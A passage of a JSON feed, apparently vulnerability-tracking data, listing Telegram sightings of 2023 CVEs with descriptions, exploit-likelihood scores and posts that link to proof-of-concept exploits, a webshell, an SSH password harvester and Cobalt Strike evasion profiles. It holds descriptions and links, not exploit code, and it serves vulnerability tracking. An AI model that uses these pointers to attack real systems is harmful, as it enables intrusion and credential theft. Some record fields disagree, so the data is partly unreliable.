%PROGRAMFILES(X86)%\\TSplus-RemoteWork\\Clients\\www folder. This may enable privilege escalation if a different local user modifies a file. NOTE: CVE-2023-31067 and CVE-2023-31068 are only about the TSplus Remote Access product, not the TSplus Remote Work product.\n\nFIRST-EPSS: 0.001300000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2024-01-04T04:19:43.000000Z"}, {"uuid": "594695c2-f975-438e-9516-2c2e611275f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31169", "type": "seen", "source": "https://t.me/arpsyndicate/2424", "content": "#ExploitObserverAlert\n\nCVE-2023-31169\n\nDESCRIPTION: Exploit Observer has 2 entries related to CVE-2023-31169. An Improper Handling of Unicode Encoding vulnerability in the Schweitzer Engineering Laboratories SEL-5030 acSELerator QuickSet Software could allow an attacker to embed instructions that could be executed by an authorized device operator.      See Instruction Manual Appendix A and Appendix E dated 20230615 for more details. This issue affects SEL-5030 acSELerator QuickSet Software: through 7.1.3.0.\n\nFIRST-EPSS: 0.000460000\nNVD-IS: 3.6\nNVD-ES: 2.1", "creation_timestamp": "2024-01-04T03:58:28.000000Z"}, {"uuid": "31f7e2a6-50a6-4b65-a3c6-79abef046bd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31448", "type": "seen", "source": "https://t.me/arpsyndicate/2360", "content": "#ExploitObserverAlert\n\nCVE-2023-31448\n\nDESCRIPTION: Exploit Observer has 2 entries related to CVE-2023-31448. A path traversal vulnerability was identified in the HL7 sensor in PRTG 23.2.84.1566 and earlier versions where an authenticated user with write permissions could trick the HL7 sensor into behaving differently for existing files and non-existing files. This made it possible to traverse paths, allowing the sensor to execute files outside the designated custom sensors folder. The severity of this vulnerability is medium and received a score of 4.7 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L\n\nFIRST-EPSS: 0.000460000\nNVD-IS: 3.4\nNVD-ES: 1.2", "creation_timestamp": "2024-01-03T20:58:49.000000Z"}, {"uuid": "44c17d30-c407-4b4f-8f75-5f5d6c8635b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31099", "type": "seen", "source": "https://t.me/arpsyndicate/2400", "content": "#ExploitObserverAlert\n\nCVE-2023-31099\n\nDESCRIPTION: Exploit Observer has 2 entries related to CVE-2023-31099. Zoho ManageEngine OPManager through 126323 allows an authenticated user to achieve remote code execution via probe servers.\n\nFIRST-EPSS: 0.001760000\nNVD-IS: 5.9\nNVD-ES: 2.8", "creation_timestamp": "2024-01-04T01:36:28.000000Z"}, {"uuid": "bbe5d659-9dcf-4ee1-9cea-43cdd91f385b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31048", "type": "seen", "source": "https://t.me/arpsyndicate/1956", "content": "#ExploitObserverAlert\n\nCVE-2023-31048\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-31048.\n\nFIRST-EPSS: 0.000450000", "creation_timestamp": "2023-12-18T09:38:09.000000Z"}, {"uuid": "afb79179-6907-47b2-af74-b5b2553304c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31046", "type": "seen", "source": "https://t.me/cibsecurity/72581", "content": "\u203c CVE-2023-31046 \u203c\n\nA Path Traversal vulnerability exists in PaperCut NG before 22.1.1 and PaperCut MF before 22.1.1. Under specific conditions, this could potentially allow an attacker to achieve read-only access to the server's filesystem.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-19T19:32:09.000000Z"}, {"uuid": "b0ffe9a4-dd1a-4e03-8e6e-9fae2fa26764", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31484", "type": "seen", "source": "https://t.me/arpsyndicate/785", "content": "#ExploitObserverAlert\n\nCVE-2023-31484\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-31484. CPAN.pm before 2.35 does not verify TLS certificates when downloading distributions over HTTPS.\n\nFIRST-EPSS: 0.002070000\nNVD-IS: 5.9\nNVD-ES: 2.2", "creation_timestamp": "2023-11-29T18:05:02.000000Z"}, {"uuid": "b69b90bc-568d-4ceb-8723-864e4c04c994", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31714", "type": "seen", "source": "https://t.me/arpsyndicate/2822", "content": "#ExploitObserverAlert\n\nCVE-2023-31714\n\nDESCRIPTION: Exploit Observer has 4 entries in 3 file formats related to CVE-2023-31714. Chitor-CMS before v1.1.2 was discovered to contain multiple SQL injection vulnerabilities.\n\nFIRST-EPSS: 0.005350000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2024-01-16T03:03:49.000000Z"}, {"uuid": "81cc8557-4fde-4653-b144-54440861cac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31747", "type": "seen", "source": "https://t.me/arpsyndicate/2778", "content": "#ExploitObserverAlert\n\nCVE-2023-31747\n\nDESCRIPTION: Exploit Observer has 4 entries in 2 file formats related to CVE-2023-31747. Wondershare Filmora 12 (Build 12.2.1.2088) was discovered to contain an unquoted service path vulnerability via the component NativePushService. This vulnerability allows attackers to launch processes with elevated privileges.\n\nFIRST-EPSS: 0.000520000\nNVD-IS: 5.9\nNVD-ES: 1.8", "creation_timestamp": "2024-01-15T11:02:20.000000Z"}, {"uuid": "95227dde-940e-473b-adb9-a6fdaec5d3a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3138", "type": "seen", "source": "https://t.me/arpsyndicate/2712", "content": "#ExploitObserverAlert\n\nCVE-2023-3138\n\nDESCRIPTION: Exploit Observer has 7 entries related to CVE-2023-3138. A vulnerability was found in libX11. The security flaw occurs because the functions in src/InitExt.c in libX11 do not check that the values provided for the Request, Event, or Error IDs are within the bounds of the arrays that those functions write to, using those IDs as array indexes. They trust that they were called with values provided by an Xserver adhering to the bounds specified in the X11 protocol, as all X servers provided by X.Org do. As the protocol only specifies a single byte for these values, an out-of-bounds value provided by a malicious server (or a malicious proxy-in-the-middle) can only overwrite other portions of the Display structure and not write outside the bounds of the Display structure itself, possibly causing the client to crash with this memory corruption.\n\nFIRST-EPSS: 0.000470000\nNVD-IS: 3.6\nNVD-ES: 3.9", "creation_timestamp": "2024-01-09T05:05:30.000000Z"}, {"uuid": "93820674-e8f4-4920-b1f8-44e5b80046ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31284", "type": "seen", "source": "https://t.me/arpsyndicate/357", "content": "#ExploitObserverAlert\n\nCVE-2023-31284\n\nDESCRIPTION: Exploit Observer has 1 entries related to CVE-2023-31284. illumos illumos-gate before 676abcb has a stack buffer overflow in /dev/net, leading to privilege escalation via a stat on a long file name in /dev/net.\n\nFIRST-EPSS: 0.000420000\nNVD-IS: 5.9\nNVD-ES: 1.8", "creation_timestamp": "2023-11-22T16:36:07.000000Z"}, {"uuid": "dc5c909b-c701-4e8a-b3b3-176458a62614", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31217", "type": "seen", "source": "https://t.me/cibsecurity/72517", "content": "\u203c CVE-2023-31217 \u203c\n\nAuth. (contributor+) Stored Cross-Site Scripting (XSS) vulnerability in MyTechTalky User Location and IP plugin <=\u00c2\u00a01.6 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-18T16:33:50.000000Z"}, {"uuid": "f448a4bd-e682-494b-9c2a-459514486307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31042", "type": "seen", "source": "https://t.me/cibsecurity/71442", "content": "\u203c CVE-2023-31042 \u203c\n\nA flaw exists in FlashBlade Purity whereby an authenticated user with access to FlashBlade\u00e2\u20ac\u2122s object store protocol can impact the availability of the system\u00e2\u20ac\u2122s data access and replication protocols.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-03T02:47:22.000000Z"}, {"uuid": "b5a04cd7-4d0a-46a5-943c-f09e93cccfeb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31069", "type": "seen", "source": "https://t.me/cibsecurity/72444", "content": "\u203c CVE-2023-27132 \u203c\n\nTSplus Remote Work 16.0.0.0 places a cleartext password on the \"var pass\" line of the HTML source code for the secure single sign-on web portal. NOTE: CVE-2023-31069 is only about the TSplus Remote Access product, not the TSplus Remote Work product.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-17T20:33:04.000000Z"}, {"uuid": "910df9d8-68da-4abc-838b-9c6b25073c02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31168", "type": "seen", "source": "Telegram/H3UUabEv1xs7Kg01Ip9h9p1g1MjfOWbKEpWB7-OtF_k2Ew", "content": "", "creation_timestamp": "2023-09-06T14:28:04.000000Z"}, {"uuid": "5c279819-48a5-4d5e-882a-7209d308ddd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3129", "type": "published-proof-of-concept", "source": "Telegram/M-RM6JUeRS-yLbXH47dffFKYpTJTdkiqAiI6xYlcLmjs7Mv7LQ", "content": "", "creation_timestamp": "2024-09-19T15:32:04.000000Z"}, {"uuid": "43998dc2-4840-447b-a093-9e7ede2fe65a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3169", "type": "seen", "source": "Telegram/ReJUj7XL5RTCHl48Ln6hOhYIjbpjNlCtusbs47L9aTPiow", "content": "", "creation_timestamp": "2023-10-11T15:30:02.000000Z"}, {"uuid": "cfabe00d-8300-435a-ba06-e463b2d53172", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3129", "type": "published-proof-of-concept", "source": "Telegram/RDVp2vOk6EiTX4SOJlKW-Uun4ltPNUHnHI-9KHiknRLfnJ55dQ", "content": "", "creation_timestamp": "2024-09-21T06:29:38.000000Z"}, {"uuid": "b25c13fd-2c02-4c78-9673-8ad9133dea34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3129", "type": "published-proof-of-concept", "source": "Telegram/-hVcj7RVS3QqYv1t3HP5vibVGlkq1PqMw8vAQDK6cSqIsGHo1g", "content": "", "creation_timestamp": "2024-09-20T10:03:40.000000Z"}, {"uuid": "14c1c106-e961-4308-ae74-bf9b25649b42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31299", "type": "seen", "source": "https://t.me/cibsecurity/73899", "content": "\u203c\ufe0fCVE-2023-31299\u203c\ufe0f\n\nCross Site Scripting XSS vulnerability in Sesami Cash Point  Transport Optimizer CPTO version 6.3.8.6 718, allows remote attackers to execute arbitrary code via the Barcode field of a container.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:34:31.000000Z"}, {"uuid": "2008eaa7-9677-4fa4-a427-bca64b12bdd3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3169", "type": "exploited", "source": "https://t.me/KomunitiSiber/919", "content": "Over 17,000 WordPress Sites Compromised by Balada Injector in September 2023\nhttps://thehackernews.com/2023/10/over-17000-wordpress-sites-compromised.html\n\nMore than 17,000 WordPress websites have been compromised in the month of September 2023 with malware known as\u00a0Balada Injector, nearly twice the number of detections in August.\nOf these, 9,000 of the websites are said to have been infiltrated using a recently disclosed security flaw in the tagDiv Composer plugin (CVE-2023-3169, CVSS score: 6.1) that could be\u00a0exploited\u00a0by unauthenticated users to", "creation_timestamp": "2023-10-11T15:16:39.000000Z"}, {"uuid": "d354c5b4-ad19-40d0-86b3-2d36e6f14269", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31168", "type": "seen", "source": "https://t.me/KomunitiSiber/749", "content": "9 Alarming Vulnerabilities Uncovered in SEL's Power Management Products\nhttps://thehackernews.com/2023/09/9-alarming-vulnerabilities-uncovered-in.html\n\nNine security flaws have been disclosed in electric power management products made by Schweitzer Engineering Laboratories (SEL).\n\u201cThe most severe of those nine vulnerabilities would allow a threat actor to facilitate remote code execution (RCE) on an engineering workstation,\u201d Nozomi Networks\u00a0said\u00a0in a report published last week.\nThe issues, tracked as CVE-2023-34392 and from CVE-2023-31168", "creation_timestamp": "2023-09-06T13:09:23.000000Z"}, {"uuid": "4065b60f-5a70-4a27-9ef9-f9231c501621", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31192", "type": "seen", "source": "https://t.me/cibsecurity/72187", "content": "\u203c CVE-2023-31192 \u203c\n\nAn information disclosure vulnerability exists in the ClientConnect() functionality of SoftEther VPN 5.01.9674. A specially crafted network packet can lead to a disclosure of sensitive information. An attacker can perform a man-in-the-middle attack to trigger this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-12T20:23:25.000000Z"}, {"uuid": "51d5cbb2-ac96-45b9-8451-bab87cd83821", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31300", "type": "seen", "source": "https://t.me/cibsecurity/73903", "content": "\u203c\ufe0fCVE-2023-31300\u203c\ufe0f\n\nAn issue was discovered in Sesami Cash Point  Transport Optimizer CPTO version 6.3.8.6 718, allows remote attackers to obtain sensitive information via transmission of unencrypted, cleartext credentials during Password Reset feature.\n\n\ud83d\udcd6 Read more\n\nVia \"National Vulnerability Database\"", "creation_timestamp": "2023-12-30T01:34:51.000000Z"}, {"uuid": "5a1df80f-f24b-4675-a019-4e3bb5c1d88d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31419", "type": "seen", "source": "Telegram/cJE2f1Ylibso8WfxExY7XnGGn9loSwHSSInb5Uh2BQYHEQ", "content": "", "creation_timestamp": "2023-09-28T05:04:24.000000Z"}, {"uuid": "00f5366a-0ad6-46a9-a4bc-0114b1ba3071", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31099", "type": "published-proof-of-concept", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/3814", "content": "#exploit\n1. CVE-2023-31099:\nZoho ManageEngine Opmanager deserialization RCE\nhttps://xz.aliyun.com/t/13216\n\n2. PoC for webauthn/passkeyss\nhttps://github.com/spbkaizo/go-demo-passkeys\n\n3. Exploiting and Examining CVE-2023-1829 in cls_tcindex Classifier Vulnerability\nhttps://starlabs.sg/blog/2023/06-breaking-the-code-exploiting-and-examining-cve-2023-1829-in-cls_tcindex-classifier-vulnerability\n]-> PoC: https://github.com/star-sg/CVE/tree/master/CVE-2023-1829", "creation_timestamp": "2024-01-07T15:08:32.000000Z"}, {"uuid": "a61a65fe-e1ab-4f84-b6e5-a3f41c2f0212", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31320", "type": "published-proof-of-concept", "source": "https://t.me/WARLOCK_DARK_ARMY_OFFICIALS/3562", "content": "https://github.com/whypet/CVE-2023-31320\n\nDoS vulnerability in AMD driver that corrupts the display.", "creation_timestamp": "2023-11-16T06:23:40.000000Z"}, {"uuid": "9f6e4492-2655-46c5-a6ff-4b88690f6ffe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3161", "type": "published-proof-of-concept", "source": "https://t.me/BABATATASASA/5977", "content": "|       CVE-2021-3569   2.1     https://vulners.com/cve/CVE-2021-3569\n|       CVE-2021-3527   2.1     https://vulners.com/cve/CVE-2021-3527                               |       CVE-2021-3446   2.1     https://vulners.com/cve/CVE-2021-3446                               |       CVE-2021-3416   2.1     https://vulners.com/cve/CVE-2021-3416                               |       CVE-2021-20320  2.1     https://vulners.com/cve/CVE-2021-20320\n|       CVE-2021-20297  2.1     https://vulners.com/cve/CVE-2021-20297                              |       CVE-2021-20257  2.1     https://vulners.com/cve/CVE-2021-20257                              |       CVE-2021-20239  2.1     https://vulners.com/cve/CVE-2021-20239                              |       CVE-2021-20221  2.1     https://vulners.com/cve/CVE-2021-20221\n|       CVE-2020-25743  2.1     https://vulners.com/cve/CVE-2020-25743\n|       CVE-2020-12458  2.1     https://vulners.com/cve/CVE-2020-12458\n|       CVE-2020-10756  2.1     https://vulners.com/cve/CVE-2020-10756\n|       CVE-2019-18391  2.1     https://vulners.com/cve/CVE-2019-18391\n|       CVE-2019-14826  2.1     https://vulners.com/cve/CVE-2019-14826\n|       CVE-2019-13313  2.1     https://vulners.com/cve/CVE-2019-13313                              |       CVE-2019-12067  2.1     https://vulners.com/cve/CVE-2019-12067                              |       CVE-2019-11884  2.1     https://vulners.com/cve/CVE-2019-11884                              |       CVE-2019-11833  2.1     https://vulners.com/cve/CVE-2019-11833                              |       CVE-2019-11135  2.1     https://vulners.com/cve/CVE-2019-11135                              |       CVE-2019-10183  2.1     https://vulners.com/cve/CVE-2019-10183                              |       CVE-2018-16878  2.1     https://vulners.com/cve/CVE-2018-16878                              |       CVE-2004-0554   2.1     https://vulners.com/cve/CVE-2004-0554                               |       1AC912AC-B7DA-5F88-B22A-12B17E5D1D5C    2.1       https://vulners.com/githubexploit/1AC912AC-B7DA-5F88-B22A-12B17E5D1D5C    *EXPLOIT*\n|       CVE-2023-1289   1.9     https://vulners.com/cve/CVE-2023-1289\n|       CVE-2022-25310  1.9     https://vulners.com/cve/CVE-2022-25310                              |       CVE-2022-25309  1.9     https://vulners.com/cve/CVE-2022-25309                              |       CVE-2021-4217   1.9     https://vulners.com/cve/CVE-2021-4217                               |       CVE-2021-3753   1.9     https://vulners.com/cve/CVE-2021-3753                               |       CVE-2021-3602   1.9     https://vulners.com/cve/CVE-2021-3602                               |       CVE-2020-25656  1.9     https://vulners.com/cve/CVE-2020-25656                              |       CVE-2019-2634   1.9     https://vulners.com/cve/CVE-2019-2634                               |       CVE-2019-2535   1.9     https://vulners.com/cve/CVE-2019-2535                               |       CVE-2019-18660  1.9     https://vulners.com/cve/CVE-2019-18660\n|       PRION:CVE-2023-22024    1.7     https://vulners.com/prion/PRION:CVE-2023-22024\n|       CVE-2023-3161   1.7     https://vulners.com/cve/CVE-2023-3161\n|       CVE-2023-28328  1.7     https://vulners.com/cve/CVE-2023-28328\n|       CVE-2023-28327  1.7     https://vulners.com/cve/CVE-2023-28327\n|       CVE-2023-2700   1.7     https://vulners.com/cve/CVE-2023-2700\n|       CVE-2023-2602   1.7     https://vulners.com/cve/CVE-2023-2602\n|       CVE-2023-1981   1.7     https://vulners.com/cve/CVE-2023-1981\n|       CVE-2023-1095   1.7     https://vulners.com/cve/CVE-2023-1095                               |       CVE-2022-2153   1.7     https://vulners.com/cve/CVE-2022-2153\n|       CVE-2022-1263   1.7     https://vulners.com/cve/CVE-2022-1263", "creation_timestamp": "2023-11-15T16:53:03.000000Z"}, {"uuid": "f7fafb77-d9db-4410-937b-efdeecda8c08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31664", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3038", "content": "Tools - Hackers Factory \n\n\u200b\u200bPuredns\n\nA fast domain resolver and subdomain bruteforcing tool that can accurately filter out wildcard subdomains and DNS poisoned entries.\n\nhttps://github.com/d3mondev/puredns\n\n#infosec #pentesting #bugbounty\n\n\u200b\u200bCVE-2021-41091\n\nThis exploit offers an in-depth look at the CVE-2021-41091 security vulnerability and provides a step-by-step guide on how to utilize the exploit script to achieve privilege escalation on a host.\n\nhttps://github.com/UncleJ4ck/CVE-2021-41091\n\n#cve #infosec #exploit\n\n\u200b\u200bSSH-Harvester\n\nHarvest passwords automatically from OpenSSH server.\n\nhttps://github.com/jm33-m0/SSH-Harvester\n\n#infosec #pentesting #redteam\n\n\u200b\u200bEATGuard\n\nImplementation of an export address table protection mitigation, like Export Address Filtering (EAF)\n\nhttps://github.com/connormcgarr/EATGuard\n\n#cybersecurity #infosec\n\n\u200b\u200bMS17-010 Exploit Code\n\nThis is just an semi-automated fully working, no-bs, non-metasploit version of the public exploit code for MS17-010.\n\nhttps://github.com/3ndG4me/AutoBlue-MS17-010\n\n#exploit #cybersecurity #infosec\n\n\u200b\u200bWSLHostPatcher\n\nDynamic patch WSL2 to listen port on any interfaces.\n\nhttps://github.com/CzBiX/WSLHostPatcher\n\n#cybersecurity #infosec\n\n\u200b\u200bIvySyn\n\nA fully-automated framework for discovering memory error vulnerabilities in Deep Learning (DL) frameworks.\n\nhttps://gitlab.com/brown-ssl/ivysyn\n\n#cybersecurity #infosec #pentesting\n\n\u200b\u200bCVE-2023-31664\n\nA reflected cross-site scripting (XSS) vulnerability in /authenticationendpoint/login.do of WSO2 Api Manager below v4.2.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the tenantDomain parameter.\n\nhttps://github.com/adilkhan7/CVE-2023-31664\n\n#cve #cybersecurity #infosec\n\n\u200b\u200bPowerLessShell\n\nPowerLessShell rely on MSBuild.exe to remotely execute PowerShell scripts and commands without spawning powershell.exe. You can also execute raw shellcode using the same approach.\n\nhttps://github.com/Mr-Un1k0d3r/PowerLessShell\n\n#infosec #pentesting #redteam\n\n\u200b\u200bSAP_Cloud_Connector_SSFS_Decryption\n\nThis repository offers a Proof of Concept (PoC) for decrypting SAP Cloud Connector SSFS. The core feature of this PoC is the exploitation of an exported function - getRecord, present in the libsapscc20jni.so file. The advantage is that you can decrypt the SSFS properties values WITHOUT REVERSING THE ECRYPTION ALGORITHM.\n\nhttps://github.com/redrays-io/SAP_Cloud_Connector_SSFS_Decryption\n\n#cybersecurity #infosec #poc\n\n\u200b\u200bFuzzing Templates\n\nCommunity curated list of fuzzing templates for the nuclei engine to find unknown security vulnerabilities.\n\nhttps://github.com/projectdiscovery/fuzzing-templates\n\n#pentesting #infosec #bugbounty\n\n\u200b\u200brebuff\n\nRebuff is designed to protect AI applications from prompt injection (PI) attacks through a multi-layered defense.\n\nhttps://github.com/woop/rebuff\n\n#cybersecurity #infosec\n\n\u200b\u200bDetection-Validation\n\nThe tool automates the process of simulating malicious process events without need to go through setup of real processes.\n\nhttps://github.com/alwashali/Detection-Validation\n\n#cybersecurity #infosec #malware\n\n\u200b\u200bMinefield\n\nThis is the PoC implementation for the USENIX 2022 paper Minefield: A Software-only Protection for SGX Enclaves against DVFS Attacks\n\nhttps://github.com/iaik/minefield\n\n#cybersecurity #infosec\n\n\u200b\u200bAfuzz \n\nAutomated web path fuzzing tool for the Bug Bounty projects.\n\nhttps://github.com/RapidDNS/Afuzz\n\n#infosec #pentesting #bugbounty\n\n\u200b\u200bdumpulator\n\nAn easy-to-use library for emulating memory dumps. Useful for malware analysis (config extraction, unpacking) and dynamic analysis in general (sandboxing).\n\nhttps://github.com/mrexodia/dumpulator\n\n#malware #cybersecurity #infosec\n\n\u200b\u200bAtomicSyscall\n\nTools and PoCs for Windows syscall investigation.\n\nhttps://github.com/daem0nc0re/AtomicSyscall\n\n#infosec #pentesting #redteam\n\n\u200b\u200bezXSS\n\nezXSS is an easy way for penetration testers and bug bounty hunters to test (blind) Cross Site Scripting.\n\nhttps://github.com/ssl/ezXSS\n\n#infosec #redteam #bugbounty\n\n\u200b\u200bhttps://t.me/dilagrafie\nhttps://t.me/HackerFactory", "creation_timestamp": "2023-05-22T14:01:04.000000Z"}, {"uuid": "d31a1039-cd33-44b3-be42-ead8debbc486", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31779", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3061", "content": "Tools - Hackers Factory \n\nPCAPeek \n\nA proof-of-concept re-assembler for reverse VNC traffic such as IcedID & Qakbot's VNC Backdoors.\n\nhttps://github.com/0xThiebaut/PCAPeek\n\n#cybersecurity #infosec\n\nProcOpen-PHP-Webshell\n\nExperience the power of a PHP webshell designed to overcome the limitations of blacklisted system/exec functions.\n\nhttps://github.com/d4rkiZ/ProcOpen-PHP-Webshell\n\n#infosec #pentesting #redteam\n\nKeyhacks \n\nA repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.\n\nhttps://github.com/streaak/keyhacks\n\n#infosec #pentesting #bugbounty\n\nDetections - Browser Credential Harvesting\n\nWeb browsers today allow users to store their username and passwords, directly to log into their application of choice. Threat actors can retrieve these credentials using either the Windows API or decrypting specific files. This detection strategy focuses on specific files that are needed by the attacker to retrieve the user\u2019s web browser stored credentials.\n\nhttps://github.com/cybergoatpsyops/detections/tree/main/techniques/webCredentialHarvest\n\n#cybersecurity #infosec\n\nopera-proxy\n\nStandalone Opera VPN client. Just run it and it'll start a plain HTTP proxy server forwarding traffic through \"Opera VPN\" proxies of your choice. By default the application listens on 127.0.0.1:18080.\n\nhttps://github.com/Snawoot/opera-proxy\n\n#VPN #infosec #privacy\n\nCVE-2023-31779\n\nStored XSS vulnerability exists in the \"Reaction to comment\" feature. An attacker with user privilege on kanban board can execute JavaScript code in the browsers of users who open card with malicious reaction.\n\nhttps://github.com/jet-pentest/CVE-2023-31779\n\n#cve #cybersecurity #infosec\n\nCVE-2023-31726\n\nPOC for CVE-2023-31726: AList 3.15.1 is vulnerable to Incorrect Access Control, which can be exploited by attackers to obtain sensitive information.\n\nhttps://github.com/J6451/CVE-2023-31726\n\n#cve #poc #infosec\n\nSubScraper\n\nPerform subdomain enumeration through various techniques and retrieve detailed output to aid in further testing.\n\nhttps://github.com/m8sec/subscraper\n\n#infosec #pentesting #bugbounty\n\nEnumStrike\n\nCobalt Strike Aggressor script to automate host and domain enumeration.\n\nhttps://github.com/DallasFR/EnumStrike\n\n#infosec #pentesting #redteam\n\nSkyhook\n\nA REST-driven web application used to smuggle files into and out of networks defended by perimeter controls that inspect and act on traffic perceived to contain malicious content.\n\nhttps://github.com/blackhillsinfosec/skyhook\n\n#infosec #pentesting #redteam\n\nPyRDP\n\nRDP monster-in-the-middle (mitm) and library for Python with the ability to watch connections live or after the fact.\n\nhttps://github.com/GoSecure/pyrdp\n\n#infosec #pentesting #redteam\n\nNimRekey \n\nAn experiment in improving existing anti-copy techniques. This one allows a binary to rewrite itself on disk after the first execution with a new key and encrypted secrets (like shellcode, URLs, etc)\n\nhttps://github.com/OffenseTeacher/NimRekey\n\n#cybersecurity #infosec\n\nopenSquat\n\nOpen-source Intelligence (OSINT) security tool to identify cyber squatting threats to specific companies or domains, such as:\ud83d\udc47\n\n\u2022 Phishing campaigns\n\u2022 Domain squatting\n\u2022 Typo squatting\n\u2022 Bitsquatting\n\u2022 IDN homograph attacks\n\u2022 Doppenganger domains\n\u2022 Other brand/domain related scams\n\nhttps://github.com/atenreiro/opensquat\n\n#OSINT #cybersecurity #infosec\n\nMalleable-CS-Profiles\n\nA list of python tools to help create an OPSEC-safe Cobalt Strike profile. This is the Github repository of the relevant blog post: Unleashing the Unseen: Harnessing the Power of Cobalt Strike Profiles for EDR Evasion.\n\nhttps://github.com/WKL-Sec/Malleable-CS-Profiles\n\n#infosec #pentesting #redteam\n\nOffensive-Rust\n\nhttps://github.com/winsecurity/Offensive-Rust\n\n#infosec #pentesting #redteam\n\nRansomware Notes\n\nThis is a collection of various 